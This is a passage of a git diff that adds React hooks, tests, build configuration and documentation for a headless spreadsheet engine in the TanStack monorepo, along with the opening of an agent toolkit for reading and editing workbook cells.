+const OUTPUT_ROW = new Set(OUTPUTS.map((o) => o.row))
+const ROWS = 15
+const COLS = 2
+
+type Values = Record
+const DEFAULTS: Values = Object.fromEntries(
+ INPUTS.map((i) => [i.key, String(i.value)]),
+)
+
+const ref = (row: number, col: number): Ref => ({ sheet: SHEET, row, col })
+
+/**
+ * Build the trip workbook from the current form values. Pure: the form holds
+ * raw text, this folds it into cells, and every derived number falls out of the
+ * engine. Rebuilding on each edit keeps the data flow one-directional — React
+ * never owns a computed value, it only renders what the sheet reports.
+ */
+function buildWorkbook(values: Values): Workbook {
+ const wb = createWorkbook()
+ wb.addSheet(SHEET)
+
+ const edits: Array<{ ref: Ref; input: string }> = [
+ { ref: ref(0, 0), input: 'TRIP INPUTS' },
+ { ref: ref(9, 0), input: 'COMPUTED' },
+ ]
+ for (const i of INPUTS) {
+ edits.push({ ref: ref(i.row, 0), input: i.label })
+ // Empty field → 0 so a mid-edit blank never produces a parse error.
+ edits.push({
+ ref: ref(i.row, 1),
+ input: values[i.key] === '' ? '0' : values[i.key],
+ })
+ }
+ for (const o of OUTPUTS) {
+ edits.push({ ref: ref(o.row, 0), input: o.label })
+ edits.push({ ref: ref(o.row, 1), input: o.formula })
+ }
+ wb.setMany(edits)
+
+ for (const i of INPUTS) if (i.fmt) wb.setFormat(ref(i.row, 1), i.fmt)
+ for (const o of OUTPUTS) wb.setFormat(ref(o.row, 1), MONEY)
+ return wb
+}
+
+function StateManager() {
+ const [values, setValues] = useState(DEFAULTS)
+ const [focused, setFocused] = useState(null)
+ const [showFormulas, setShowFormulas] = useState(false)
+
+ // The sheet is derived state: inputs in → recompute → values out.
+ const wb = useMemo(() => buildWorkbook(values), [values])
+
+ const cellValue = (row: number): CellValue =>
+ wb.getCell(ref(row, 1))?.value ?? null
+ const display = (row: number): string =>
+ formatValue(cellValue(row), wb.getFormat(ref(row, 1)))
+
+ const focusedRow =
+ focused != null ? INPUTS.find((i) => i.key === focused)?.row : undefined
+
+ const breakdown = OUTPUTS.filter((o) => !o.hero)
+ const total = OUTPUTS.find((o) => o.label === 'Trip total')!
+ const perPerson = OUTPUTS.find((o) => o.label === 'Per person')!
+
+ return (
+
+
+
Spreadsheet as state manager
+
+ A plain form on the left; a headless workbook in the middle; computed
+ results on the right. The form only ever writes the input cells —
+ every number on the right is read straight back out of the sheet, so
+ the spreadsheet is the application state. The live preview is
+ read-only: you can see the cells and their formulae, but you drive it
+ through the form.
+
+
+
+
+ {/* ---- inputs: the form ---- */}
+
+
+ {/* ---- outputs: read back out of the sheet ---- */}
+
+ )
+}
+```
+
+## The /table grid entry
+
+`useSpreadsheetTable` lives behind `@tanstack/react-spreadsheet/table` so cell
+readers never pull in `@tanstack/spreadsheet-table`. It takes the same
+`(workbook, config)` as `createSpreadsheetTable`, manages the instance across
+renders, subscribes to both the table store and the workbook revision, and
+tears the subscription down on unmount.
+
+
+
+```tsx
+import { useSpreadsheetTable } from '@tanstack/react-spreadsheet/table'
+import type { Workbook } from '@tanstack/spreadsheet-core'
+
+export function SheetGrid(props: { workbook: Workbook }) {
+ const table = useSpreadsheetTable(props.workbook, {
+ sheet: 'Sheet1',
+ rows: { from: 0, to: 99 },
+ cols: { from: 0, to: 25 },
+ gutter: true,
+ })
+ return (
+
+
+ {table.getRowModel().rows.map((row) => (
+
+ {row.getAllCells().map((cell) => (
+
{String(cell.getValue() ?? '')}
+ ))}
+
+ ))}
+
+
+ )
+}
+```
+
+The returned object is a TanStack Table v9 instance with the spreadsheet verbs
+(`getFormulaBarValue`, `commitFocusedCell`, `fillDown`, `copySelection`,
+`mergeSelection`, …). Load `@tanstack/spreadsheet-table#core` for the verb
+semantics, the projection, and the registered features.
+
+## API discovery
+
+Inspect `node_modules/@tanstack/react-spreadsheet/dist/index.d.ts` for the root
+hooks and `dist/table.d.ts` for `useSpreadsheetTable`.
diff --git a/packages/react-spreadsheet/src/hooks.ts b/packages/react-spreadsheet/src/hooks.ts
new file mode 100644
index 0000000000..720949eccb
--- /dev/null
+++ b/packages/react-spreadsheet/src/hooks.ts
@@ -0,0 +1,241 @@
+/**
+ * React bindings built on `@tanstack/react-store`'s `useSelector` — the same
+ * read primitive `@tanstack/react-table` uses. Each hook selects from a source
+ * that exposes `get`/`subscribe`: either the workbook's `revision` atom (coarse,
+ * every commit) or a `subscribeRegion`-backed source (fine, only the observed
+ * region). `useSelector`'s `compare` keeps a component from re-rendering unless
+ * its selected value actually changed.
+ */
+
+import { useMemo, useState } from 'react'
+import { useSelector } from '@tanstack/react-store'
+import {
+ Workbook,
+ createWorkbook,
+ formatValue,
+ isPending,
+} from '@tanstack/spreadsheet-core'
+import type { UseSelectorOptions } from '@tanstack/react-store'
+import type {
+ CellValue,
+ Rect,
+ Ref,
+ SheetId,
+ WorkbookOptions,
+} from '@tanstack/spreadsheet-core'
+
+/**
+ * A `useSelector` source: `get()` plus a `subscribe()` whose listener matches
+ * react-store's `SelectionSource` shape (it receives the value, which our
+ * region subscription supplies by re-reading).
+ */
+interface Source {
+ get: () => T
+ subscribe: (listener: (value: T) => void) => { unsubscribe: () => void }
+}
+
+/** Two computed values are equal if identical, or both errors with same code. */
+function cellEqual(a: CellValue, b: CellValue): boolean {
+ if (Object.is(a, b)) return true
+ if (
+ a !== null &&
+ b !== null &&
+ typeof a === 'object' &&
+ typeof b === 'object' &&
+ a.kind === 'error' &&
+ b.kind === 'error'
+ ) {
+ return a.code === b.code
+ }
+ return false
+}
+
+/**
+ * A `useSelector` source over a single sheet region: it reads via `read` and
+ * wakes only when `subscribeRegion` fires for that rect — the per-region perf
+ * primitive, so an unrelated commit never re-runs the selector.
+ */
+function useRegionSource(
+ workbook: Workbook,
+ sheet: SheetId,
+ rect: Rect,
+ read: () => T,
+): Source {
+ const { r0, c0, r1, c1 } = rect
+ return useMemo>(
+ () => ({
+ get: read,
+ subscribe: (listener) => ({
+ unsubscribe: workbook.subscribeRegion(sheet, { r0, c0, r1, c1 }, () =>
+ listener(read()),
+ ),
+ }),
+ }),
+ // `read` closes over the same (workbook, sheet, coords); rebuild with them.
+ // eslint-disable-next-line react-hooks/exhaustive-deps
+ [workbook, sheet, r0, c0, r1, c1],
+ )
+}
+
+/** The workbook's monotonically-increasing revision. Re-renders on any commit. */
+export function useRevision(workbook: Workbook): number {
+ return useSelector(workbook.atoms.revision)
+}
+
+/** The computed value of one cell. Re-renders only when that value changes. */
+export function useCellValue(workbook: Workbook, ref: Ref): CellValue {
+ const { sheet, row, col } = ref
+ const source = useRegionSource(
+ workbook,
+ sheet,
+ { r0: row, c0: col, r1: row, c1: col },
+ () => workbook.getCell({ sheet, row, col })?.value ?? null,
+ )
+ return useSelector(source, (v) => v, { compare: cellEqual })
+}
+
+/** The whole-cell view a custom-UI builder renders from (not values-only). */
+export interface CellView {
+ /** The raw input — formula text (`=A1+1`) or literal (`42`). */
+ input: string
+ /** `'formula'` | `'literal'` | `undefined` for a blank cell. */
+ kind: 'literal' | 'formula' | undefined
+ /** The computed value (may be an error or pending marker). */
+ value: CellValue
+ /** The format-aware display string (errors as codes, pending as `…`). */
+ display: string
+ /** True while an async value has not yet arrived. */
+ pending: boolean
+}
+
+function cellViewEqual(a: CellView, b: CellView): boolean {
+ return (
+ a.input === b.input &&
+ a.kind === b.kind &&
+ a.display === b.display &&
+ a.pending === b.pending &&
+ cellEqual(a.value, b.value)
+ )
+}
+
+/**
+ * The whole cell at `ref` — input/formula text, computed value, a format-aware
+ * display string (honouring `wb.getFormat`), and a pending flag — re-rendering
+ * only when the cell changes. This is what custom-UI builders render from;
+ * `useCellValue` (raw value, possibly a `PendingValue` object) is the low-level
+ * primitive beneath it.
+ */
+export function useCell(workbook: Workbook, ref: Ref): CellView {
+ const { sheet, row, col } = ref
+ const source = useRegionSource(
+ workbook,
+ sheet,
+ { r0: row, c0: col, r1: row, c1: col },
+ () => {
+ const cell = workbook.getCell({ sheet, row, col })
+ const value = cell?.value ?? null
+ return {
+ input: cell?.input ?? '',
+ kind: cell?.kind,
+ value,
+ display: formatValue(value, workbook.getFormat({ sheet, row, col })),
+ pending: isPending(value),
+ }
+ },
+ )
+ return useSelector(source, (v) => v, { compare: cellViewEqual })
+}
+
+function gridEqual(
+ a: Array>,
+ b: Array>,
+): boolean {
+ if (a.length !== b.length) return false
+ for (let r = 0; r < a.length; r++) {
+ const ra = a[r]!
+ const rb = b[r]!
+ if (ra.length !== rb.length) return false
+ for (let c = 0; c < ra.length; c++) {
+ if (!cellEqual(ra[c]!, rb[c]!)) return false
+ }
+ }
+ return true
+}
+
+/**
+ * A dense 2D snapshot of computed values across `rect`, rebuilt when any cell in
+ * the region changes. Handy for rendering a virtualized window. `gridEqual`
+ * keeps the returned grid referentially stable between commits that don't change
+ * the region's values.
+ */
+export function useSheetValues(
+ workbook: Workbook,
+ options: { sheet: SheetId; rect: Rect },
+): Array> {
+ const { sheet, rect } = options
+ const { r0, c0, r1, c1 } = rect
+ const source = useRegionSource>>(
+ workbook,
+ sheet,
+ rect,
+ () => {
+ const grid: Array> = []
+ for (let r = r0; r <= r1; r++) {
+ const row: Array = []
+ for (let c = c0; c <= c1; c++) {
+ row.push(workbook.getCell({ sheet, row: r, col: c })?.value ?? null)
+ }
+ grid.push(row)
+ }
+ return grid
+ },
+ )
+ const options2: UseSelectorOptions>> = {
+ compare: gridEqual,
+ }
+ return useSelector(source, (g) => g, options2)
+}
+
+/** The workbook-centric front door: revision + point readers in one object. */
+export interface SpreadsheetApi {
+ workbook: Workbook
+ /** The current revision; re-renders the component on every commit. */
+ revision: number
+ /** Read a cell's current computed value (a non-reactive point read). */
+ getCellValue: (ref: Ref) => CellValue
+}
+
+/**
+ * Umbrella hook mirroring `useReactTable` as a discoverable entry point. Returns
+ * the workbook plus its live `revision` (so the component re-renders on commits)
+ * and a bound point reader. Reach for the granular `useCellValue`/`useSheetValues`
+ * when you need per-cell/per-region subscriptions instead.
+ *
+ * Pass a prebuilt `Workbook` to drive one the caller owns, or pass
+ * `WorkbookOptions` to have the hook construct and own one (like
+ * `useReactTable`); construction happens once and ignores later option changes.
+ */
+export function useSpreadsheet(workbook: Workbook): SpreadsheetApi
+export function useSpreadsheet(options: WorkbookOptions): SpreadsheetApi
+export function useSpreadsheet(
+ workbookOrOptions: Workbook | WorkbookOptions,
+): SpreadsheetApi {
+ // Construct-and-own when given options; use the instance directly otherwise.
+ // A fresh options object per render must not rebuild the workbook, so the
+ // construction decision is frozen on first render (useState initializer).
+ const [owned] = useState(() =>
+ workbookOrOptions instanceof Workbook
+ ? null
+ : createWorkbook(workbookOrOptions),
+ )
+ const workbook = owned ?? (workbookOrOptions as Workbook)
+ const revision = useRevision(workbook)
+ return useMemo(
+ () => ({
+ workbook,
+ revision,
+ getCellValue: (ref: Ref) => workbook.getCell(ref)?.value ?? null,
+ }),
+ [workbook, revision],
+ )
+}
diff --git a/packages/react-spreadsheet/src/index.ts b/packages/react-spreadsheet/src/index.ts
new file mode 100644
index 0000000000..33ef2b07d8
--- /dev/null
+++ b/packages/react-spreadsheet/src/index.ts
@@ -0,0 +1,12 @@
+export {
+ useRevision,
+ useCellValue,
+ useCell,
+ useSheetValues,
+ useSpreadsheet,
+} from './hooks'
+export type { SpreadsheetApi, CellView } from './hooks'
+
+// The v9 grid hook lives behind the `@tanstack/react-spreadsheet/table` entry so
+// these root hooks don't pull in `@tanstack/spreadsheet-table`. Import it as:
+// import { useSpreadsheetTable } from '@tanstack/react-spreadsheet/table'
diff --git a/packages/react-spreadsheet/src/table.ts b/packages/react-spreadsheet/src/table.ts
new file mode 100644
index 0000000000..38b9b07ccb
--- /dev/null
+++ b/packages/react-spreadsheet/src/table.ts
@@ -0,0 +1,8 @@
+/**
+ * `@tanstack/react-spreadsheet/table` — the React hook for the v9 grid adapter.
+ *
+ * Kept in its own entry so the root `@tanstack/react-spreadsheet` hooks stay
+ * pure workbook bindings and a consumer that only reads cells never pulls in
+ * `@tanstack/spreadsheet-table`.
+ */
+export { useSpreadsheetTable } from './useSpreadsheetTable'
diff --git a/packages/react-spreadsheet/src/useSpreadsheetTable.ts b/packages/react-spreadsheet/src/useSpreadsheetTable.ts
new file mode 100644
index 0000000000..e5162ad43c
--- /dev/null
+++ b/packages/react-spreadsheet/src/useSpreadsheetTable.ts
@@ -0,0 +1,83 @@
+/**
+ * React wrapper for the v9 table adapter — the hook for the grid itself, as
+ * opposed to `useSpreadsheet`, the workbook-level hook. It owns a
+ * `createSpreadsheetTable` instance across renders and re-renders the component
+ * whenever the table's state (selection, focus, spans) changes. The v9 adapter
+ * subscribes to the workbook itself and rebuilds its row model on every commit,
+ * so external edits (another view, an agent tool, an async settle) flow through
+ * `table.store` here without this hook also watching the workbook.
+ *
+ * Lives behind the `@tanstack/react-spreadsheet/table` entry so the root hooks
+ * don't pull in `@tanstack/spreadsheet-table`.
+ */
+
+import { useEffect, useMemo, useRef, useSyncExternalStore } from 'react'
+import { createSpreadsheetTable } from '@tanstack/spreadsheet-table'
+import type { Workbook } from '@tanstack/spreadsheet-core'
+import type {
+ SheetTableConfig,
+ SpreadsheetTable,
+} from '@tanstack/spreadsheet-table'
+
+/** A stable key for an index range, so the table rebuilds when the window changes. */
+function rangeKey(range: SheetTableConfig['rows']): string {
+ return typeof range === 'number' ? `n${range}` : `${range.from}:${range.to}`
+}
+
+/**
+ * Construct (and hold) a spreadsheet table for a workbook sheet window. The
+ * table is rebuilt only when the workbook identity or the window changes, and
+ * its workbook subscription is acquired in an effect and torn down
+ * (`table.destroy()`) when that happens or the component unmounts.
+ */
+export function useSpreadsheetTable(
+ workbook: Workbook,
+ config: SheetTableConfig,
+): SpreadsheetTable {
+ // Construct with no side effect: `useMemo` must be pure, since React may call
+ // it twice and discard a result (StrictMode, suspension) without ever running
+ // cleanup. The workbook subscription is acquired in the effect below instead.
+ const table = useMemo(
+ () => createSpreadsheetTable(workbook, config, { autoConnect: false }),
+ // eslint-disable-next-line react-hooks/exhaustive-deps
+ [
+ workbook,
+ config.sheet,
+ rangeKey(config.rows),
+ rangeKey(config.cols),
+ config.gutter,
+ ],
+ )
+
+ // Acquire the table's workbook subscription after commit and tear it down on
+ // rebuild/unmount — so a discarded (uncommitted) table never leaks a listener.
+ useEffect(() => {
+ table.connect()
+ return () => table.destroy()
+ }, [table])
+
+ // Re-render on either signal: the table's own state (selection/focus/spans)
+ // and the workbook's revision (so an external edit — another view, an agent
+ // tool, an async settle — re-renders the open grid; the adapter has already
+ // rebuilt the row model by then).
+ const tick = useRef(0)
+ const subscribe = useMemo(
+ () => (onChange: () => void) => {
+ const bump = () => {
+ tick.current++
+ onChange()
+ }
+ const state = table.store.subscribe(bump)
+ const revision = workbook.atoms.revision.subscribe(bump)
+ return () => {
+ state.unsubscribe()
+ revision.unsubscribe()
+ }
+ },
+ [table, workbook],
+ )
+ const getSnapshot = useMemo(() => () => tick.current, [])
+ useSyncExternalStore(subscribe, getSnapshot, getSnapshot)
+
+ return table
+}
diff --git a/packages/react-spreadsheet/tests/hooks.test.ts b/packages/react-spreadsheet/tests/hooks.test.ts
new file mode 100644
index 0000000000..76254636da
--- /dev/null
+++ b/packages/react-spreadsheet/tests/hooks.test.ts
@@ -0,0 +1,216 @@
+// @vitest-environment jsdom
+import { afterEach, describe, expect, it } from 'vitest'
+import { createElement as h } from 'react'
+import { renderToStaticMarkup } from 'react-dom/server'
+import { act, cleanup, render } from '@testing-library/react'
+import { Workbook } from '@tanstack/spreadsheet-core'
+import {
+ useCell,
+ useCellValue,
+ useRevision,
+ useSheetValues,
+ useSpreadsheet,
+} from '../src/index'
+import { useSpreadsheetTable } from '../src/table'
+import type { Ref } from '@tanstack/spreadsheet-core'
+import type { SpreadsheetApi } from '../src/index'
+
+afterEach(cleanup)
+
+function makeWb() {
+ const w = new Workbook()
+ w.addSheet('s1')
+ return w
+}
+const ref = (row: number, col: number): Ref => ({ sheet: 's1', row, col })
+const commit = (w: Workbook, r: number, c: number, input: string) =>
+ act(() => {
+ w.applyPatches(w.setInput(ref(r, c), input))
+ })
+
+describe('useCellValue', () => {
+ function CellView({ wb, r, c }: { wb: Workbook; r: number; c: number }) {
+ const v = useCellValue(wb, ref(r, c))
+ return h('span', { 'data-testid': 'cell' }, String(v))
+ }
+
+ it('re-renders when a dependency recomputes the cell', () => {
+ const wb = makeWb()
+ wb.applyPatches([
+ ...wb.setInput(ref(0, 0), '10'),
+ ...wb.setInput(ref(0, 1), '=A1*2'),
+ ])
+ const { getByTestId } = render(h(CellView, { wb, r: 0, c: 1 }))
+ expect(getByTestId('cell').textContent).toBe('20')
+
+ commit(wb, 0, 0, '30') // edit A1; B1 (=A1*2) recomputes to 60
+ expect(getByTestId('cell').textContent).toBe('60')
+ })
+
+ it('does not re-render for changes outside the observed cell', () => {
+ const wb = makeWb()
+ let renders = 0
+ function Counter({ wb }: { wb: Workbook }) {
+ renders++
+ const v = useCellValue(wb, ref(0, 0))
+ return h('span', null, String(v))
+ }
+ render(h(Counter, { wb }))
+ const before = renders
+ commit(wb, 5, 5, 'far away')
+ expect(renders).toBe(before) // no re-render
+ })
+})
+
+describe('useCell (whole cell)', () => {
+ function WholeCell({ wb, r, c }: { wb: Workbook; r: number; c: number }) {
+ const cell = useCell(wb, ref(r, c))
+ return h(
+ 'span',
+ { 'data-testid': 'cell' },
+ `${cell.kind}|${cell.input}|${cell.display}|${cell.pending}`,
+ )
+ }
+
+ it('exposes input, kind, format-aware display, and pending', () => {
+ const wb = makeWb()
+ wb.applyPatches(wb.setInput(ref(0, 0), '=1/0')) // an error cell
+ wb.setFormat(ref(0, 1), '0.00%')
+ wb.applyPatches(wb.setInput(ref(0, 1), '0.5'))
+
+ const err = render(h(WholeCell, { wb, r: 0, c: 0 }))
+ // formula cell, display is the error code, not [object Object]
+ expect(err.container.textContent).toBe('formula|=1/0|#DIV/0!|false')
+ cleanup()
+
+ const pct = render(h(WholeCell, { wb, r: 0, c: 1 }))
+ // literal cell honouring the per-cell percent format
+ expect(pct.container.textContent).toBe('literal|0.5|50.00%|false')
+ })
+})
+
+describe('useSpreadsheetTable reactivity bridge', () => {
+ function Grid({ wb }: { wb: Workbook }) {
+ const table = useSpreadsheetTable(wb, {
+ sheet: 's1',
+ rows: 3,
+ cols: 3,
+ })
+ const v = table.getRowModel().rows[0]!.getValue('col:0')
+ return h('span', { 'data-testid': 'a1' }, String(v))
+ }
+
+ it('an external workbook edit appears in an open grid without a table verb', () => {
+ const wb = makeWb()
+ wb.applyPatches(wb.setInput(ref(0, 0), '1'))
+ const { getByTestId } = render(h(Grid, { wb }))
+ expect(getByTestId('a1').textContent).toBe('1')
+
+ // edit the workbook directly (an agent tool / another view), not via a verb
+ commit(wb, 0, 0, '42')
+ expect(getByTestId('a1').textContent).toBe('42')
+ })
+})
+
+describe('useRevision', () => {
+ it('increments on each commit', () => {
+ const wb = makeWb()
+ function RevView({ wb }: { wb: Workbook }) {
+ return h('span', { 'data-testid': 'rev' }, String(useRevision(wb)))
+ }
+ const { getByTestId } = render(h(RevView, { wb }))
+ const start = Number(getByTestId('rev').textContent)
+ commit(wb, 0, 0, 'a')
+ expect(Number(getByTestId('rev').textContent)).toBe(start + 1)
+ })
+})
+
+describe('useSpreadsheet', () => {
+ it('wraps a prebuilt workbook: revision bumps, getCellValue reads', () => {
+ const wb = makeWb()
+ wb.applyPatches(wb.setInput(ref(0, 0), '41'))
+ let api: SpreadsheetApi | undefined
+ function View({ wb }: { wb: Workbook }) {
+ api = useSpreadsheet(wb)
+ return h('span', { 'data-testid': 'rev' }, String(api.revision))
+ }
+ const { getByTestId } = render(h(View, { wb }))
+ expect(api!.workbook).toBe(wb)
+ expect(api!.getCellValue(ref(0, 0))).toBe(41)
+ const before = Number(getByTestId('rev').textContent)
+
+ commit(wb, 0, 0, '42')
+ expect(Number(getByTestId('rev').textContent)).toBe(before + 1)
+ expect(api!.getCellValue(ref(0, 0))).toBe(42)
+ })
+
+ it('constructs and owns a workbook from options (useReactTable-style)', () => {
+ let api: SpreadsheetApi | undefined
+ function View() {
+ api = useSpreadsheet({})
+ return null
+ }
+ render(h(View))
+ // A full default workbook — every default capability's method is present.
+ expect(typeof api!.workbook.addSheet).toBe('function')
+ expect(typeof api!.workbook.mergeCells).toBe('function')
+ api!.workbook.addSheet('s1')
+ api!.workbook.applyPatches(
+ api!.workbook.setInput({ sheet: 's1', row: 0, col: 0 }, '=1+1'),
+ )
+ expect(api!.getCellValue({ sheet: 's1', row: 0, col: 0 })).toBe(2)
+ })
+})
+
+describe('server rendering', () => {
+ it('renders a cell to static markup with no DOM', () => {
+ const wb = makeWb()
+ wb.applyPatches(wb.setInput(ref(0, 0), '=6*7'))
+ function Cell({ wb }: { wb: Workbook }) {
+ return h('span', null, String(useCellValue(wb, ref(0, 0))))
+ }
+ expect(renderToStaticMarkup(h(Cell, { wb }))).toBe('42')
+ })
+})
+
+describe('useSpreadsheetTable cleanup', () => {
+ it('tears down its workbook subscription on unmount', () => {
+ const wb = makeWb()
+ wb.applyPatches(wb.setInput(ref(0, 0), '1'))
+ let renders = 0
+ function Grid() {
+ renders++
+ const table = useSpreadsheetTable(wb, { sheet: 's1', rows: 2, cols: 2 })
+ return h(
+ 'span',
+ null,
+ String(table.getRowModel().rows[0]!.getValue('col:0')),
+ )
+ }
+ const { unmount } = render(h(Grid))
+ const before = renders
+ unmount()
+ // After unmount the revision subscription is gone: an external commit must
+ // not re-render the unmounted component (and must not throw).
+ commit(wb, 0, 0, '99')
+ expect(renders).toBe(before)
+ })
+})
+
+describe('useSheetValues', () => {
+ it('exposes a dense grid that updates on region changes', () => {
+ const wb = makeWb()
+ function GridView({ wb }: { wb: Workbook }) {
+ const grid = useSheetValues(wb, {
+ sheet: 's1',
+ rect: { r0: 0, c0: 0, r1: 1, c1: 1 },
+ })
+ return h('span', { 'data-testid': 'grid' }, JSON.stringify(grid))
+ }
+ const { getByTestId } = render(h(GridView, { wb }))
+ expect(getByTestId('grid').textContent).toBe('[[null,null],[null,null]]')
+
+ commit(wb, 1, 1, '=1+1')
+ expect(getByTestId('grid').textContent).toBe('[[null,null],[null,2]]')
+ })
+})
diff --git a/packages/react-spreadsheet/tsconfig.json b/packages/react-spreadsheet/tsconfig.json
new file mode 100644
index 0000000000..b17915d939
--- /dev/null
+++ b/packages/react-spreadsheet/tsconfig.json
@@ -0,0 +1,7 @@
+{
+ "extends": "../../tsconfig.json",
+ "compilerOptions": {
+ "jsx": "react-jsx"
+ },
+ "include": ["src", "tests", "vite.config.ts", "eslint.config.js"]
+}
diff --git a/packages/react-spreadsheet/tsdown.config.ts b/packages/react-spreadsheet/tsdown.config.ts
new file mode 100644
index 0000000000..f7d54ec0c2
--- /dev/null
+++ b/packages/react-spreadsheet/tsdown.config.ts
@@ -0,0 +1,16 @@
+import { defineConfig } from 'tsdown'
+
+export default defineConfig({
+ entry: ['./src/index.ts', './src/table.ts'],
+ format: ['esm'],
+ unbundle: true,
+ dts: true,
+ sourcemap: false,
+ clean: true,
+ minify: false,
+ fixedExtension: false,
+ exports: true,
+ publint: {
+ strict: true,
+ },
+})
diff --git a/packages/react-spreadsheet/vite.config.ts b/packages/react-spreadsheet/vite.config.ts
new file mode 100644
index 0000000000..b8204648d3
--- /dev/null
+++ b/packages/react-spreadsheet/vite.config.ts
@@ -0,0 +1,14 @@
+import { defineConfig } from 'vitest/config'
+import react from '@vitejs/plugin-react'
+import packageJson from './package.json'
+
+export default defineConfig({
+ plugins: [react()],
+ test: {
+ name: packageJson.name,
+ dir: './tests',
+ watch: false,
+ globals: true,
+ environment: 'jsdom',
+ },
+})
diff --git a/packages/spreadsheet-agent/README.md b/packages/spreadsheet-agent/README.md
new file mode 100644
index 0000000000..a2e233eb99
--- /dev/null
+++ b/packages/spreadsheet-agent/README.md
@@ -0,0 +1,13 @@
+# @tanstack/spreadsheet-agent
+
+A framework-agnostic agent toolkit over a `@tanstack/spreadsheet-core` workbook:
+read a sheet, write cells in one transaction, explain a cell via the real
+dependency graph, list errors and pending cells, and verify expectations. Exports
+plain functions plus JSON-schema tool specs — no LLM SDK dependency, so it drops
+into any agent runtime.
+
+```bash
+npm install @tanstack/spreadsheet-agent @tanstack/spreadsheet-core
+```
+
+**Experimental.** See the [agent surface guide](https://tanstack.com/table/latest/docs/spreadsheet/agent-guide).
diff --git a/packages/spreadsheet-agent/eslint.config.js b/packages/spreadsheet-agent/eslint.config.js
new file mode 100644
index 0000000000..892f5314df
--- /dev/null
+++ b/packages/spreadsheet-agent/eslint.config.js
@@ -0,0 +1,8 @@
+// @ts-check
+
+import rootConfig from '../../eslint.config.js'
+
+/** @type {any} */
+const config = [...rootConfig]
+
+export default config
diff --git a/packages/spreadsheet-agent/package.json b/packages/spreadsheet-agent/package.json
new file mode 100644
index 0000000000..9aa348d835
--- /dev/null
+++ b/packages/spreadsheet-agent/package.json
@@ -0,0 +1,48 @@
+{
+ "name": "@tanstack/spreadsheet-agent",
+ "version": "9.3.1",
+ "description": "The agent tool surface for @tanstack/spreadsheet-core — A1-addressed read/edit/explain/verify, composable into any agent framework.",
+ "author": "Tanner Linsley",
+ "license": "MIT",
+ "repository": {
+ "type": "git",
+ "url": "https://github.com/TanStack/table.git",
+ "directory": "packages/spreadsheet-agent"
+ },
+ "homepage": "https://tanstack.com/table",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/tannerlinsley"
+ },
+ "keywords": [
+ "tanstack",
+ "spreadsheet",
+ "ai",
+ "agent"
+ ],
+ "type": "module",
+ "types": "./dist/index.d.ts",
+ "exports": {
+ ".": "./dist/index.js",
+ "./package.json": "./package.json"
+ },
+ "sideEffects": false,
+ "engines": {
+ "node": ">=20"
+ },
+ "files": [
+ "dist"
+ ],
+ "scripts": {
+ "clean": "rimraf ./build && rimraf ./dist",
+ "test:eslint": "eslint ./src",
+ "test:lib": "vitest",
+ "test:lib:dev": "pnpm test:lib --watch",
+ "test:types": "tsc",
+ "test:build": "publint --strict",
+ "build": "tsdown"
+ },
+ "dependencies": {
+ "@tanstack/spreadsheet-core": "workspace:*"
+ }
+}
diff --git a/packages/spreadsheet-agent/src/index.ts b/packages/spreadsheet-agent/src/index.ts
new file mode 100644
index 0000000000..93c0a1a01f
--- /dev/null
+++ b/packages/spreadsheet-agent/src/index.ts
@@ -0,0 +1,17 @@
+export {
+ a1ToRef,
+ readSheet,
+ explain,
+ listErrors,
+ listPending,
+ listFunctions,
+ setCells,
+ verify,
+ spreadsheetTools,
+} from './toolkit'
+export type {
+ CellReport,
+ Explanation,
+ AgentCheck,
+ SpreadsheetTool,
+} from './toolkit'
diff --git a/packages/spreadsheet-agent/src/toolkit.ts b/packages/spreadsheet-agent/src/toolkit.ts
new file mode 100644
index 0000000000..dc18110fb1
--- /dev/null
+++ b/packages/spreadsheet-agent/src/toolkit.ts
@@ -0,0 +1,291 @@
+/**
+ * The agent tool surface over a `@tanstack/spreadsheet-core` `Workbook` — the
+ * one home for the tools an agent calls. Everything is **A1-addressed** (on the
+ * workbook's convenience sugar), returns plain data, and reads the **real
+ * dependency graph** (`precedentsOf`/`dependentsOf`) rather than re-parsing
+ * formulas. These are plain functions, composable into any agent framework; a
+ * host builds its framework's tool definitions on top (see `spreadsheetTools`).
+ */
+
+import {
+ colToLetter,
+ isErr,
+ isPending,
+ parseA1,
+} from '@tanstack/spreadsheet-core'
+import type {
+ CellValue,
+ FunctionCatalogEntry,
+ Issue,
+ Rect,
+ Ref,
+ SheetId,
+ Workbook,
+} from '@tanstack/spreadsheet-core'
+
+const a1 = (row: number, col: number) => `${colToLetter(col)}${row + 1}`
+const refToA1 = (ref: Ref) => a1(ref.row, ref.col)
+const rangeToA1 = (sheet: SheetId, rect: Rect) =>
+ `${sheet}!${a1(rect.r0, rect.c0)}:${a1(rect.r1, rect.c1)}`
+
+/** Resolve an A1 string (optionally sheet-qualified) to a {@link Ref}. */
+export function a1ToRef(input: string, defaultSheet?: SheetId): Ref {
+ let sheet = defaultSheet
+ let cell = input
+ const bang = input.lastIndexOf('!')
+ if (bang >= 0) {
+ sheet = input
+ .slice(0, bang)
+ .replace(/^'(.*)'$/, '$1')
+ .replace(/''/g, "'")
+ cell = input.slice(bang + 1)
+ }
+ const parsed = parseA1(cell)
+ if (!parsed) throw new Error(`invalid A1 reference: '${input}'`)
+ if (sheet === undefined) throw new Error(`no sheet for reference '${input}'`)
+ return { sheet, row: parsed.row, col: parsed.col }
+}
+
+function firstSheet(wb: Workbook): SheetId | undefined {
+ return wb.atoms.sheets.get()[0]
+}
+
+/** Visit every populated cell of the real (non-virtual) sheets, or one sheet. */
+function eachCell(wb: Workbook, cb: (ref: Ref) => void, only?: SheetId): void {
+ for (const id of only ? [only] : wb.atoms.sheets.get()) {
+ const sheet = wb.getSheet(id)
+ if (!sheet) continue // virtual sheets have no backing grid
+ for (const key of sheet.keys()) {
+ const cell = sheet.get(key)
+ if (cell?.input !== undefined) {
+ // decode via a throwaway rect read — Sheet keys are packed row*cols+col
+ const ref = refOfKey(id, key)
+ cb(ref)
+ }
+ }
+ }
+}
+
+// Sheet keys are `row * 16384 + col` (core's packing). Decode without importing
+// the internal helpers — the radix is Excel's column cap.
+const MAX_COLS = 16384
+function refOfKey(sheet: SheetId, key: number): Ref {
+ return { sheet, row: Math.floor(key / MAX_COLS), col: key % MAX_COLS }
+}
+
+export interface CellReport {
+ a1: string
+ input: string
+ value: CellValue
+ kind: 'literal' | 'formula' | undefined
+}
+
+/** Read the populated cells of a sheet (optionally within a rect) as A1 reports. */
+export function readSheet(
+ wb: Workbook,
+ sheet: SheetId,
+ rect?: Rect,
+): Array {
+ const out: Array = []
+ eachCell(
+ wb,
+ (ref) => {
